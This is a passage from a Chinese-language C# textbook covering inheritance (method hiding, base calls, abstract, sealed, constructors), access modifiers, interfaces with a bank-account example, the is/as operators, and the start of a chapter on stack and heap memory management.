with X: 33, y: 22 and Width: 200, Height: 100 4.3.3 隐藏方法 如果签名相同的方法在基类和派生类中都进行了声明,但该方法没有分别声明为 virtual和override,派生类方法就会隐藏基类方法。 在大多数情况下,是要重写方法,而不是隐藏方法,因为隐藏方法会造成对于给定类 的实例调用错误方法的危险。但是,如下面的例子所示,C#语法可以确保开发人员在编 译时收到这个潜在错误的警告,从而使隐藏方法(如果这确实是用户的本意)更加安全。 这也是类库开发人员得到的版本方面的好处。 假定有一个类Shape: public class Shape { // various members } 在将来的某一刻,要编写一个派生类Ellipse,用它给Shape基类添加某个功能,特别 是要添加该基类中目前没有的方法——MoveBy(): public class Ellipse: Shape { public void MoveBy(int x, int y) { Position.X += x; Position.Y += y; } } 过了一段时间,基类的编写者决定扩展基类的功能。为了保持一致,他也添加了一个 名为MoveBy()的方法,该方法的名称和签名与前面添加的方法相同,但并不完成相同 的工作。这个新方法可能声明为virtual,也可能不是。 如果重新编译派生的类,会得到一个编译器警告,因为出现了一个潜在的方法冲突。 然而,也可能使用了新的基类,但没有编译派生类;只是替换了基类程序集。基类程序集 可以安装在全局程序集缓存中(许多Framework程序集都安装在此)。 现在假设基类的MoveBy()方法声明为虚方法,基类本身调用MoveBy()方法。会 调用哪个方法?基类的方法还是前面定义的派生类的MoveBy()方法?因为派生类的 MoveBy()方法没有用override关键字定义(这是不可能的,因为基类MoveBy()方法 以前不存在),编译器假定派生类的MoveBy()方法是一个完全不同的方法,与基类的 方法没有任何关系,只是名字相同。这种方法的处理方式就好像它有另一个名称一样。 编译Ellipse类会生成一个编译警告,提醒使用new关键词隐藏方法。在实践中,不使 用new关键字会得到相同的编译结果,但避免出现编译器警告: public class Ellipse: Shape { new public void Move(Position newPosition) { Position.X = newPosition.X; Position.Y = newPosition.Y; } //. . . other members } 不使用new关键字,也可以重命名方法,或者,如果基类的方法声明为virtual,且用 作相同的目的,就重写它。然而,如果其他方法已经调用了此方法,简单的重命名会破坏 其他代码。  注意: new方法修饰符不应该故意用于隐藏基类的成员。这个修饰符的主要 目的是处理版本冲突,在修改派生类后,响应基类的变化。 4.3.4 调用方法的基类版本 C#有一种特殊的语法用于从派生类中调用方法的基类版本:base. <MethodName>()。例如,派生类Shape声明了Move()方法,想要在派生类Rectangle 中调用它,以使用基类的实现代码。为了添加派生类中的功能,可以使用base调用它(代 码文件VirtualMethods / Shape.cs): public class Shape { public virtual void Move(Position newPosition) { Position.X = newPosition.X; Position.Y = newPosition.Y; WriteLine($"moves to {Position}"); } //. . . other members } Move()方法在Rectangle类中重写,把Rectangle一词添加到控制台。写出文本之 后,使用base关键字调用基类的方法(代码文件VirtualMethods / ConcreteShapes.cs): public class Rectangle: Shape { public override void Move(Position newPosition) { Write("Rectangle "); base.Move(newPosition); } //. . . other members } 现在,矩形移动到一个新位置(代码文件VirtualMethods / Program.cs): r.Move(new Position { X = 120, Y = 40 }); 运行应用程序,输出是Rectangle和Shape类中Move()方法的结果: Rectangle moves to X: 120, Y: 40  注意: 使用base关键字,可以调用基类的任何方法——而不仅仅是已重写的 方法。 4.3.5 抽象类和抽象方法 C#允许把类和方法声明为abstract。抽象类不能实例化,而抽象方法不能直接实现, 必须在非抽象的派生类中重写。显然,抽象方法本身也是虚拟的(尽管也不需要提供 virtual关键字,实际上,如果提供了该关键字,就会产生一个语法错误)。如果类包含抽 象方法,则该类也是抽象的,也必须声明为抽象的。 下面把Shape类改为抽象类。因为其他类需要派生自这个类。新方法Resize声明为抽 象,因此它不能有在Shape类中的任何实现代码(代码文件VirtualMethods / Shape.cs): public abstract class Shape { public abstract void Resize(int width, int height); // abstract method } 从抽象基类中派生类型时,需要实现所有抽象成员。否则,编译器会报错: public class Ellipse : Shape { public override void Resize(int width, int height) { Size.Width = width; Size.Height = height; } } 当然,实现代码也可以如下面的例子所示。抛出类型NotImplementationException的异 常也是一种实现方式,在开发过程中,它通常只是一个临时的实现: public override void Resize(int width, int height) { throw new NotImplementedException(); }  注意: 异常详见第14章。 使用抽象的Shape类和派生的Ellipse类,可以声明Shape的一个变量。不能实例化它, 但是可以实例化Ellipse,并将其分配给Shape变量(代码文件VirtualMethods / Program.cs): Shape s1 = new Ellipse(); DrawShape(s1); 4.3.6 密封类和密封方法 如果不应创建派生自某个自定义类的类,该自定义类就应密封。给类添加sealed修饰 符,就不允许创建该类的子类。密封一个方法,表示不能重写该方法。 sealed class FinalClass { // etc } class DerivedClass: FinalClass // wrong. Cannot derive from sealed class . { // etc } 在把类或方法标记为sealed时,最可能的情形是:如果在库、类或自己编写的其他类 的操作中,类或方法是内部的,则任何尝试重写它的一些功能,都可能导致代码的不稳 定。例如,也许没有测试继承,就对继承的设计决策投资。如果是这样,最好把类标记为 sealed。 密封类有另一个原因。对于密封类,编译器知道不能派生类,因此用于虚拟方法的虚 拟表可以缩短或消除,以提高性能。string类是密封的。没有哪个应用程序不使用字符 串,最好使这种类型保持最佳性能。把类标记为sealed对编译器来说是一个很好的提示。 将一个方法声明为sealed的目的类似于一个类。方法可以是基类的重写方法,但是在 接下来的例子中,编译器知道,另一个类不能扩展这个方法的虚拟表;它在这里终止继 承。 class MyClass: MyBaseClass { public sealed override void FinalMethod() { // implementation } } class DerivedClass: MyClass { public override void FinalMethod() // wrong. Will give compilation error { } } 要在方法或属性上使用sealed关键字,必须先从基类上把它声明为要重写的方法或属 性。如果基类上不希望有重写的方法或属性,就不要把它声明为virtual。 4.3.7 派生类的构造函数 第3章介绍了单个类的构造函数是如何工作的。这样,就产生了一个有趣的问题,在 开始为层次结构中的类(这个类继承了其他也可能有自定义构造函数的类)定义自己的构 造函数时,会发生什么情况? 假定没有为任何类定义任何显式的构造函数,这样编译器就会为所有的类提供默认的 初始化构造函数,在后台会进行许多操作,但编译器可以很好地解决类的层次结构中的所 有问题,每个类中的每个字段都会初始化为对应的默认值。但在添加了一个我们自己的构 造函数后,就要通过派生类的层次结构高效地控制构造过程,因此必须确保构造过程顺利 进行,不要出现不能按照层次结构进行构造的问题。 为什么派生类会有某些特殊的问题?原因是在创建派生类的实例时,实际上会有多个 构造函数起作用。要实例化的类的构造函数本身不能初始化类,还必须调用基类中的构造 函数。这就是为什么要通过层次结构进行构造的原因。 在之前的Shape类型示例中,使用自动属性初始化器初始化属性: public class Shape { public Position Position { get; } = new Position(); public Size Size { get; } = new Size(); } 在幕后,编译器会给类创建一个默认的构造函数,把属性初始化器放在这个构造函数 中: public class Shape { public Shape() { Position = new Position(); Size = new Size(); } public Position Position { get; }; public Size Size { get; }; } 当然,实例化派生自Shape类的Rectangle类型,Rectangle需要Position和Size,因此在 构造派生对象时,调用基类的构造函数。 如果没有在默认构造函数中初始化成员,编译器会自动把引用类型初始化为null,值 类型初始化为0,布尔类型初始化为false。布尔类型是值类型,false与0是一样的,所以这 个规则也适用于布尔类型。 对于Ellipse类,如果基类定义了默认构造函数,只把所有成员初始化为其默认值,就 没有必要创建默认的构造函数。当然,仍可以提供一个构造函数,使用构造函数初始化 器,调用基构造函数: public class Ellipse : Shape { public Ellipse() : base() { } } 构造函数总是按照层次结构的顺序调用:先调用System.Object类的构造函数,再按照 层次结构由上向下进行,直到到达编译器要实例化的类为止。为了实例化Ellipse类型,先 调用Object构造函数,再调用Shape构造函数,最后调用Ellipse构造函数。这些构造函数都 处理它自己类中字段的初始化。 现在,改变Shape类的构造函数。不是对Size和Position属性进行默认的初始化,而是 在构造函数内赋值(代码文件InheritanceWithConstructors/Shape.cs): public abstract class Shape { public Shape(int width, int height, int x, int y) { Size = new Size { Width = width, Height = height }; Position = new Position { X = x, Y = y }; } public Position Position { get; } public Size Size { get; } } 当删除默认构造函数,重新编译程序时,不能编译Ellipse和Rectangle类,因为编译器 不知道应该把什么值传递给基类唯一的非默认值构造函数。这里需要在派生类中创建一个 构造函数,用构造函数初始化器初始化基类构造函数(代码文件 InheritanceWithConstructors / ConcreteShapes.cs): public Rectangle(int width, int height, int x, int y) : base(width, height, x, y) { } 把初始化代码放在构造函数块内太迟了,因为基类的构造函数在派生类的构造函数之 前调用。这就是为什么在构造函数块之前声明了一个构造函数初始化器。 如果希望允许使用默认的构造函数创建Rectangle对象,仍然可以这样做。如果基类的 构造函数没有默认的构造函数,也可以这样做,只需要在构造函数初始化器中为基类构造 函数指定值,如下所示。在接下来的代码片段中,使用了命名参数,否则很难区分传递的 width、height、x和y值。 public Rectangle() : base(width: 0, height: 0, x: 0, y: 0) { }  注意: 命名参数参见第3章。 这个过程非常简洁,设计也很合理。每个构造函数都负责处理相应变量的初始化。在 这个过程中,正确地实例化了类,以备使用。如果在为类编写自己的构造函数时遵循同样 的规则,就会发现,即便是最复杂的类也可以顺利地初始化,并且不会出现任何问题。 4.4 修饰符 前面已经遇到许多所谓的修饰符,即应用于类型或成员的关键字。修饰符可以指定方 法的可见性,如public或private;还可以指定一项的本质,如方法是virtual或abstract。C# 有许多访问修饰符,下面讨论完整的修饰符列表。 4.4.1 访问修饰符 表4-1中的修饰符确定了是否允许其他代码访问某一项。 表4-1 修饰符 应用于 说明 public 所有类型或成员 任何代码均可以访问该项 protected 类型和内嵌类型的所有成员 只有派生的类型能访问该项 internal 所有类型或成员 只能在包含它的程序集中访问该 项 private 类型和内嵌类型的所有成员 只能在它所属的类型中访问该项 protected internal 类型和内嵌类型的所有成员 只能在包含它的程序集和派生类 型的任何代码中访问该项  注意: public、protected和private是逻辑访问修饰符。internal是一个物理访问 修饰符,其边界是一个程序集。 注意,类型定义可以是内部或公有的,这取决于是否希望在包含类型的程序集外部访 问它: public class MyClass { // etc. 不能把类型定义为protected、private或protected internal,因为这些修饰符对于包含在 名称空间中的类型没有意义。因此这些修饰符只能应用于成员。但是,可以用这些修饰符 定义嵌套的类型(即,包含在其他类型中的类型),因为在这种情况下,类型也具有成员 的状态。于是,下面的代码是合法的: public class OuterClass { protected class InnerClass { // etc. } // etc. } 如果有嵌套的类型,则内部的类型总是可以访问外部类型的所有成员。所以,在上面 的代码中,InnerClass中的代码可以访问OuterClass的所有成员,甚至可以访问OuterClass 的私有成员。 4.4.2 其他修饰符 表4-2中的修饰符可以应用于类型的成员,而且有不同的用途。在应用于类型时,其 中的几个修饰符也是有意义的。 表4-2 修饰符 应用于 说明 new 函数成员 成员用相同的签名隐藏继承的成员 static 所有成员 成员不作用于类的具体实例,也称为类成 员,而不是实例成员 virtual 仅函数成员 成员可以由派生类重写 abstract 仅函数成员 虚拟成员定义了成员的签名,但没有提供 实现代码 override 仅函数成员 成员重写了继承的虚拟或抽象成员 sealed 类、方法和属性 对于类,不能继承自密封类。对于属性和 方法,成员重写已继承的虚拟成员,但任 何派生类中的任何成员都不能重写该成 员。该修饰符必须与override一起使用 extern 仅静态[DllImport]方法 成员在外部用另一种语言实现。这个关键 字的用法参见第5章 4.5 接口 如前所述,如果一个类派生自一个接口,声明这个类就会实现某些函数。并不是所有 的面向对象语言都支持接口,所以本节将详细介绍C#接口的实现。下面列出Microsoft预 定义的一个接口System.IDisposable的完整定义。IDisposable包含一个方法Dispose(),该 方法由类实现,用于清理代码: public interface IDisposable { void Dispose(); } 上面的代码说明,声明接口在语法上与声明抽象类完全相同,但不允许提供接口中任 何成员的实现方式。一般情况下,接口只能包含方法、属性、索引器和事件的声明。 比较接口和抽象类:抽象类可以有实现代码或没有实现代码的抽象成员。然而,接口 不能有任何实现代码;它是纯粹抽象的。因为接口的成员总是抽象的,所以接口不需要 abstract关键字。 类似于抽象类,永远不能实例化接口,它只能包含其成员的签名。此外,可以声明接 口类型的变量。 接口既不能有构造函数(如何构建不能实例化的对象?)也不能有字段(因为这隐含 了某些内部的实现方式)。接口定义也不允许包含运算符重载,但设计语言时总是会讨论 这个可能性,未来可能会改变。 在接口定义中还不允许声明成员的修饰符。接口成员总是隐式为public,不能声明为 virtual。如果需要,就应由实现的类来声明,因此最好实现类来声明访问修饰符,就像本 节的代码那样。 例如,IDisposable。如果类希望声明为公有类型,以便它实现方法Dispose(),该类 就必须实现IDisposable。在C#中,这表示该类派生自IDisposable类。 class SomeClass: IDisposable { // This class MUST contain an implementation of the // IDisposable.Dispose() method, otherwise // you get a compilation error. public void Dispose() { // implementation of Dispose() method } // rest of class } 在这个例子中,如果SomeClass派生自IDisposable类,但不包含与IDisposable类中签名 相同的Dispose()实现代码,就会得到一个编译错误,因为该类破坏了实现IDisposable的 一致协定。当然,编译器允许类有一个不派生自IDisposable类的Dispose()方法。问题是 其他代码无法识别出SomeClass类,来支持IDisposable特性。  注意: IDisposable是一个相当简单的接口,它只定义了一个方法。大多数接 口都包含许多成员。IDisposable的正确实现代码没有这么简单,参见第5章。 4.5.1 定义和实现接口 下面开发一个遵循接口继承规范的小例子来说明如何定义和使用接口。这个例子建立 在银行账户的基础上。假定编写代码,最终允许在银行账户之间进行计算机转账业务。许 多公司可以实现银行账户,但它们一致认为,表示银行账户的所有类都实现接口 IBankAccount。该接口包含一个用于存取款的方法和一个返回余额的属性。这个接口还允 许外部代码识别由不同银行账户实现的各种银行账户类。我们的目的是允许银行账户彼此 通信,以便在账户之间进行转账业务,但还没有介绍这个功能。 为了使例子简单一些,我们把本例子的所有代码都放在同一个源文件中,但实际上不 同的银行账户类不仅会编译到不同的程序集中,而且这些程序集位于不同银行的不同机器 上。但这些内容对于我们的目的过于复杂了。为了保留一定的真实性,我们为不同的公司 定义不同的名称空间。 首先,需要定义IBankAccount接口(代码文件UsingInterfaces/IBankAccount.cs): namespace Wrox.ProCSharp { public interface IBankAccount { void PayIn(decimal amount); bool Withdraw(decimal amount); decimal Balance { get; } } } 注意,接口的名称为IBankAccount。接口名称通常以字母I开头,以便知道这是一个 接口。  注意: 如第2章所述,在大多数情况下,.NET的用法规则不鼓励采用所谓的 Hungarian表示法,在名称的前面加一个字母,表示所定义对象的类型。接口是少数几 个推荐使用Hungarian表示法的例外之一。 现在可以编写表示银行账户的类了。这些类不必彼此相关,它们可以是完全不同的 类。但它们都表示银行账户,因为它们都实现了IBankAccount接口。 下面是第一个类,一个由Royal Bank of Venus运行的存款账户(代码文件 UsingInterfaces/VenusBank.cs): namespace Wrox.ProCSharp.VenusBank { public class SaverAccount: IBankAccount { private decimal _balance; public void PayIn(decimal amount) => _balance += amount; public bool Withdraw(decimal amount) { if (_balance >= amount) { _balance -= amount; return true; } WriteLine("Withdrawal attempt failed."); return false; } public decimal Balance => _balance; public override string ToString() => $"Venus Bank Saver: Balance = {_balance,6:C}"; } } 实现这个类的代码的作用一目了然。其中包含一个私有字段balance,当存款或取款 时就调整这个字段。如果因为账户中的金额不足而取款失败,就会显示一条错误消息。还 要注意,因为我们要使代码尽可能简单,所以不实现额外的属性,如账户持有人的姓名。 在现实生活中,这是最基本的信息,但对于本例不必要这么复杂。 在这段代码中,唯一有趣的一行是类的声明: public class SaverAccount: IBankAccount SaverAccount派生自一个接口IBankAccount,我们没有明确指出任何其他基类(当然 这表示SaverAccount直接派生自System.Object)。另外,从接口中派生完全独立于从类中 派生。 SaverAccount派生自IBankAccount,表示它获得了IBankAccount的所有成员,但接口 实际上并不实现其方法,所以SaverAccount必须提供这些方法的所有实现代码。如果缺少 实现代码,编译器就会产生错误。接口仅表示其成员的存在性,类负责确定这些成员是虚 拟还是抽象的(但只有在类本身是抽象的,这些函数才能是抽象的)。在本例中,接口的 任何函数不必是虚拟的。 为了说明不同的类如何实现相同的接口,下面假定Planetary Bank of Jupiter还实现一 个类GoldAccount来表示其银行账户中的一个(代码文件UsingInterfaces/JupiterBank.cs): namespace Wrox.ProCSharp.JupiterBank { public class GoldAccount: IBankAccount { // etc } } 这里没有列出GoldAccount类的细节,因为在本例中它基本上与SaverAccount的实现 代码相同。GoldAccount与SaverAccount没有关系,它们只是碰巧实现相同的接口而已。 有了自己的类后,就可以测试它们了。首先需要一些using语句: using Wrox.ProCSharp; using Wrox.ProCSharp.VenusBank; using Wrox.ProCSharp.JupiterBank; using static System.Console; 然后需要一个Main()方法(代码文件UsingInterfaces/Program.cs): namespace Wrox.ProCSharp { class Program { static void Main() { IBankAccount venusAccount = new SaverAccount(); IBankAccount jupiterAccount = new GoldAccount(); venusAccount.PayIn(200); venusAccount.Withdraw(100); WriteLine(venusAccount.ToString()); jupiterAccount.PayIn(500); jupiterAccount.Withdraw(600); jupiterAccount.Withdraw(100); WriteLine(jupiterAccount.ToString()); } } } 这段代码的执行结果如下: > BankAccounts Venus Bank Saver: Balance = $100.00 Withdrawal attempt failed. Jupiter Bank Saver: Balance = $400.00 在这段代码中,要点是把两个引用变量声明为IBankAccount引用的方式。这表示它们 可以指向实现这个接口的任何类的任何实例。但我们只能通过这些引用调用接口的一部分 方法——如果要调用由类实现的但不在接口中的方法,就需要把引用强制转换为合适的类 型。在这段代码中,我们调用了ToString()(不是IBankAccount实现的),但没有进行 任何显式的强制转换,这只是因为ToString()是一个System.Object()方法,因此C#编 译器知道任何类都支持这个方法(换言之,从任何接口到System.Object的数据类型强制转 换是隐式的)。第8章将介绍强制转换的语法。 接口引用完全可以看成类引用——但接口引用的强大之处在于,它可以引用任何实现 该接口的类。例如,我们可以构造接口数组,其中数组的每个元素都是不同的类: IBankAccount[] accounts = new IBankAccount[2]; accounts[0] = new SaverAccount(); accounts[1] = new GoldAccount(); 但注意,如果编写了如下代码,就会生成一个编译器错误: accounts[1] = new SomeOtherClass(); // SomeOtherClass does NOT implement // IBankAccount: WRONG! ! 这会导致一个如下所示的编译错误: Cannot implicitly convert type 'Wrox.ProCSharp. SomeOtherClass' to 'Wrox.ProCSharp.IBankAccount' 4.5.2 派生的接口 接口可以彼此继承,其方式与类的继承方式相同。下面通过定义一个新的 ITransferBankAccount接口来说明这个概念,该接口的功能与IBankAccount相同,只是又 定义了一个方法,把资金直接转到另一个账户上(代码文件UsingInterfaces/ ITransferBankAccount): namespace Wrox.ProCSharp { public interface ITransferBankAccount: IBankAccount { bool TransferTo(IBankAccount destination, decimal amount); } } 因为ITransferBankAccount派生自IBankAccount,所以它拥有IBankAccount的所有成员 和它自己的成员。这表示实现(派生自)ITransferBankAccount的任何类都必须实现 IBankAccount的所有方法和在ITransferBankAccount中定义的新方法TransferTo()。没有 实现所有这些方法就会产生一个编译错误。 注意,TransferTo()方法对于目标账户使用了IBankAccount接口引用。这说明了接 口的用途:在实现并调用这个方法时,不必知道转账的对象类型,只需要知道该对象实现 IBankAccount即可。 下面说明ITransferBankAccount:假定Planetary Bank of Jupiter还提供了一个当前账 户。CurrentAccount类的大多数实现代码与SaverAccount和GoldAccount的实现代码相同 (这仅是为了使例子更简单,一般是不会这样的),所以在下面的代码中,我们仅突出显 示了不同的地方(代码文件UsingInterfaces/ JupiterBank.cs): public class CurrentAccount: ITransferBankAccount { private decimal _balance; public void PayIn(decimal amount) => _balance += amount; public bool Withdraw(decimal amount) { if (_balance >= amount) { _balance -= amount; return true; } WriteLine("Withdrawal attempt failed."); return false; } public decimal Balance => _balance; public bool TransferTo(IBankAccount destination, decimal amount) { bool result = Withdraw(amount); if (result) { destination.PayIn(amount); } return result; } public override string ToString() => $"Jupiter Bank Current Account: Balance = {_balance,6:C}"; } 可以用下面的代码验证该类: static void Main() { IBankAccount venusAccount = new SaverAccount(); ITransferBankAccount jupiterAccount = new CurrentAccount(); venusAccount.PayIn(200); jupiterAccount.PayIn(500); jupiterAccount.TransferTo(venusAccount, 100); WriteLine(venusAccount.ToString()); WriteLine(jupiterAccount.ToString()); } 这段代码的结果如下所示,可以验证,其中说明了正确的转账金额: > CurrentAccount Venus Bank Saver: Balance = $300.00 Jupiter Bank Current Account: Balance = $400.00 4.6 is和as运算符 在结束接口和类的继承之前,需要介绍两个与继承有关的重要运算符:is和as。 如前所述,可以把具体类型的对象直接分配给基类或接口——如果这些类型在层次结 构中有直接关系。例如,前面创建的SaverAccount可以直接分配给IBankAccount,因为 SaverAccount类型实现了IBankAccount接口: IBankAccount venusAccount = new SaverAccount(); 如果一个方法接受一个对象类型,现在希望访问IBankAccount成员,该怎么办?该对 象类型没有IBankAccount接口的成员。此时可以进行类型转换。把对象(也可以使用任何 接口中任意类型的参数,把它转换为需要的类型)转换为IBankAccount,再处理它: public void WorkWithManyDifferentObjects(object o) { IBankAccount account = (IBankAccount)o; // work with the account } 只要总是给这个方法提供一个IBankAccount类型的对象,这就是有效的。当然,如果 接受一个object类型的对象,有时就会传递无效的对象。此时会得到InvalidCastException 异常。在正常情况下接受异常从来都不好。此时应使用is和as运算符。 不是直接进行类型转换,而应检查参数是否实现了接口IBankAccount。as运算符的工 作原理类似于类层次结构中的cast运算符——它返回对象的引用。然而,它从不抛出 InvalidCastException异常。相反,如果对象不是所要求的类型,这个运算符就返回null。 这里,最好在使用引用前验证它是否为空,否则以后使用以下引用,就会抛出 NullReferenceException异常: public void WorkWithManyDifferentObjects(object o) { IBankAccount account = o as IBankAccount; if (account ! = null) { // work with the account } } 除了使用as运算符之外,还可以使用is运算符。is运算符根据条件是否满足,对象是 否使用指定的类型,返回true或false。验证条件是true后,可以进行类型转换,因为现在, 类型转换总会成功: public void WorkWithManyDifferentObjects(object o) { if (o is IBankAccount) { IBankAccount account = (IBankAccount)o; // work with the account } } 在类层次结构内部的类型转换,不会抛出基于类型转换的异常,且使用is和as运算符 都是可行的。 4.7 小结 本章介绍了如何在C#中进行继承。C#支持多接口继承和单一实现继承,还提供了许 多有用的语法结构,以使代码更健壮,如override关键字,它表示函数应在何时重写基类 函数,new关键字表示函数在何时隐藏基类函数,构造函数初始化器的硬性规则可以确保 构造函数以健壮的方式进行交互操作。 第5章介绍了接口IDisposable的细节,解释了如何管理在本机代码中分配的资源。 第5章 托管和非托管的资源 本章要点 ● 运行期间在栈和堆上分配空间 ● 垃圾回收 ● 使用析构函数和System.IDisposable接口来释放非托管的资源 ● C#中使用指针的语法 ● 使用指针实现基于栈的高性能数组 ● 平台调用,访问本机API 本章源代码下载地址(wrox.com): 打开网页www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可下载 本章源代码。本章代码分为以下几个主要的示例文件: ● PointerPlayground ● PointerPlayground2 ● QuickArray ● PlatformInvokeSample 5.1 资源 资源是一个被反复使用的术语。术语“资源”的一个用法是本地化。在本地化中,资源 用于翻译文本和图像。基于用户的区域,加载正确的资源。术语“资源”的另一个用法在本 章中介绍。这里,资源用于另一个主题:使用托管和非托管的资源——存储在托管或本机 堆中的对象。尽管垃圾收集器释放存储在托管堆中的托管对象,但不释放本机堆中的对 象。必须由开发人员自己释放它们。 使用托管环境时,很容易被误导,注意不到内存管理,因为垃圾收集器(GC)会处 理它。很多工作都由GC完成;了解它是如何工作的,什么是大小对象堆,以及什么数据 类型存储在堆栈上是非常有益的。同时,垃圾收集器处理托管的资源,那么非托管资源 呢?它们需要由开发人员释放。程序可能是完全托管的程序,但是框架的类型呢?例如, 文件类型包装了一个本地文件句柄。这个文件句柄需要释放。为了尽早释放这个句柄,最 好了解IDisposable接口和using语句,参见本章的内容。 本章介绍内存管理和内存访问的各个方面。如果很好地理解了内存管理和C#提供的 指针功能,也就能很好地集成C#代码和原来的代码,并能在非常注重性能的系统中高效 地处理内存。 5.2 后台内存管理 C#编程的一个优点是程序员不需要担心具体的内存管理,垃圾回收器会自动处理所 有的内存清理工作。用户可以得到像C++语言那样的效率,而不需要考虑像在C++中那样 内存管理工作的复杂性。虽然不必手动管理内存,但仍需要理解后台发生的事情。理解程 序在后台如何管理内存有助于提高应用程序的速度和性能。本节要介绍给变量分配内存时 在计算机的内存中发生的情况。  注意: 本节不详细介绍许多主题的相关内容。应把这一节看作是一般过程的 简化向导,而不是实现的确切说明。 5.2.1 值数据类型 Windows使用一个虚拟寻址系统,该系统把程序可用的内存地址映射到硬件内存中的 实际地址上,这些任务完全由Windows在后台管理。其实际结果是32位处理器上的每个进 程都可以使用4GB的内存——无论计算机上实际有多少物理内存(在64位处理器上,这个 数字会更大)。这个4GB的内存实际上包含了程序的所有部分,包括可执行代码、代码加 载的所有DLL,以及程序运行时使用的所有变量的内容。这个4GB的内存称为虚拟地址空 间,或虚拟内存。为了方便起见,本章将它简称为内存。  注意: 在.NET Core应用程序中,在Visual Studio Project Properties的Debug设 置中选择体系结构,指定是调试32位还是64位应用程序(见图5-1)。选择x86时,就调 试运行在32位和64位系统上的32位应用程序;选择x64时,就调试运行在64位系统上的 64位应用程序。如果看不到不同的选项,就必须安装具体的运行库,参见第1章。 图5-1 4GB中的每个存储单元都是从0开始往上排序的。要访问存储在内存的某个空间中的 一个值,就需要提供表示该存储单元的数字。在任何复杂的高级语言中,编译器负责把人 们可以理解的变量名转换为处理器可以理解的内存地址。 在处理器的虚拟内存中,有一个区域称为栈。栈存储不是对象成员的值数据类型。另 外,在调用一个方法时,也使用栈存储传递给方法的所有参数的副本。为了理解栈的工作 原理,需要注意在C#中的变量作用域。如果变量a在变量b之前进入作用域,b就会首先超 出作用域。考虑下面的代码: { int a; // do something { int b; // do something else } 图5-2 } 首先声明变量a。接着在内部代码块中声明了b。然后内部代码块终止,b就超出作用 域,最后a超出作用域。所以b的生存期完全包含在a的生存期中。在释放变量时,其顺序 总是与给它们分配内存的顺序相反,这就是栈的工作方式。 还要注意,b在另一个代码块中(通过另一对嵌套的花括号来定义)。因此,它包含 在另一个作用域中。这称为块作用域或结构作用域。 我们不知道栈具体在地址空间的什么地方,这些信息 在进行C#开发时是不需要知道的。栈指针(操作系统维护 的一个变量)表示栈中下一个空闲存储单元的地址。程序 第一次开始运行时,栈指针指向为栈保留的内存块末尾。 栈实际上是向下填充的,即从高内存地址向低内存地址填 充。当数据入栈后,栈指针就会随之调整,以始终指向下 一个空闲存储单元。这种情况如图5-2所示。在该图中,显示了栈指针800000(十六进制 的0xC3500),下一个空闲存储单元是地址799999。 下面的代码会告诉编译器,需要一些存储空间以存储一个整数和一个双精度浮点数, 这些存储单元分别称为nRacingCars和engineSize。声明每个变量的代码行表示开始请求访 问这个变量,闭合花括号标识这两个变量超出作用域的地方。 { int nRacingCars = 10; double engineSize = 3000.0; // do calculations; } 假定使用如图5-2所示的栈。nRacingCars变量进入作用域,赋值为10,这个值放在存 储单元799996~799999上,这4个字节就在栈指针所指空间的下面。有4个字节是因为存储 int要使用4个字节。为了容纳该int,应从栈指针对应的值中减去4,所以它现在指向位置 799996,即下一个空闲单元(799995)。 下一行代码声明变量engineSize(这是一个double数),把它初始化为3000.0。一个 double数要占用8个字节,所以值3000.0放在栈上的存储单元799988~799995上,栈指针对 应的值减去8,再次指向栈上的下一个空闲单元。 当engineSize超出作用域时,运行库就知道不再需要这个变量了。因为变量的生存期 总是嵌套的,当engineSize在作用域中时,无论发生什么情况,都可以保证栈指针总是会 指向存储engineSize的空间。为了从内存中删除这个变量,应给栈指针对应的值递增8,现 在它指向engineSize末尾紧接着的空间。此处就是放置闭合花括号的地方。当nRacingCars 也超出作用域时,栈指针对应的值就再次递增4。从栈中删除enginesize和nRacingCars之 后,此时如果在作用域中又放入另一个变量,从799999开始的存储单元就会被覆盖,这些 空间以前是存储nRacingCars的。 如果编译器遇到int i、j这样的代码行,则这两个变量进入作用域的顺序是不确定的。 两个变量是同时声明的,也是同时超出作用域的。此时,变量以什么顺序从内存中删除就 不重要了。编译器在内部会确保先放在内存中的那个变量后删除,这样就能保证该规则不 会与变量的生存期冲突。 5.2.2 引用数据类型 尽管栈有非常高的性能,但它还没有灵活到可以用于所有的变量。变量的生存期必须 嵌套,在许多情况下,这种要求都过于苛刻。通常我们希望使用一个方法分配内存,来存 储一些数据,并在方法退出后的很长一段时间内数据仍是可用的。只要是用new运算符来 请求分配存储空间,就存在这种可能性——例如,对于所有的引用类型。此时就要使用托 管堆。 如果读者以前编写过需要管理低级内存的C++代码,就会很熟悉堆(heap)。托管堆 和C++使用的堆不同,它在垃圾回收器的控制下工作,与传统的堆相比有很显著的优势。 托管堆(简称为堆)是处理器的可用内存中的另一个内存区域。要了解堆的工作原理 和如何为引用数据类型分配内存,看看下面的代码: void DoWork() { Customer arabel; arabel = new Customer(); Customer otherCustomer2 = new EnhancedCustomer(); } 在这段代码中,假定存在两个类Customer和EnhancedCustomer。EnhancedCustomer类 扩展了Customer类。 首先,声明一个Customer引用arabel,在栈上给这个引用分配存储空间,但这仅是一 个引用,而不是实际的Customer对象。arabel引用占用4个字节的空间,足够包含Customer 对象的存储地址(需要4个字节把0~4GB之间的内存地址表示为一个整数值)。 然后看下一行代码: arabel = new Customer(); 这行代码完成了以下操作:首先,它分配堆上的内存,以存储Customer对象(一个真 正的对象,不只是一个地址)。然后把变量arabel的值设置为分配给新Customer对象的内 存地址(它还调用合适的Customer()构造函数初始化类实例中的字段,但此处我们不必 担心这部分)。 Customer实例没有放在栈中,而是放在堆中。在这个例子中,现在还不知道一个 Customer对象占用多少字节,但为了讨论方便,假定是32个字节。这32个字节包含了 Customer的实例字段,和.NET用于识别和管理其类实例的一些信息。 为了在堆上找到存储新Customer对象的一个存储位置,.NET运行库在堆中搜索,选 取第一个未使用的且包含32个字节的连续块。为了讨论方便,假定其地址是200000, arabel 引用占用栈中的799996~799999位置。这表示在实例化arabel对象前,内存的内容应如图 5-3所示。 图5-3 给Customer对象分配空间后,内存的内容应如图5-4所示。注意,与栈不同,堆上的 内存是向上分配的,所以空闲空间在已用空间的上面。 图5-4 下一行代码声明了一个Customer引用,并实例化一个Customer对象。在这个例子中, 用一行代码在栈上为otherCustomer2引用分配空间,同时在堆上为mrJones对象分配空间: Customer otherCustomer2 = new EnhancedCustomer(); 该行把栈上的4个字节分配给otherCustomer2引用,它存储在799992~799995位置上, 而otherCustomer2对象在堆上从200032开始向上分配空间。 从这个例子可以看出,建立引用变量的过程要比建立值变量的过程更复杂,且不能避 免性能的系统开销。实际上,我们对这个过程进行了过分的简化,因为.NET运行库需要 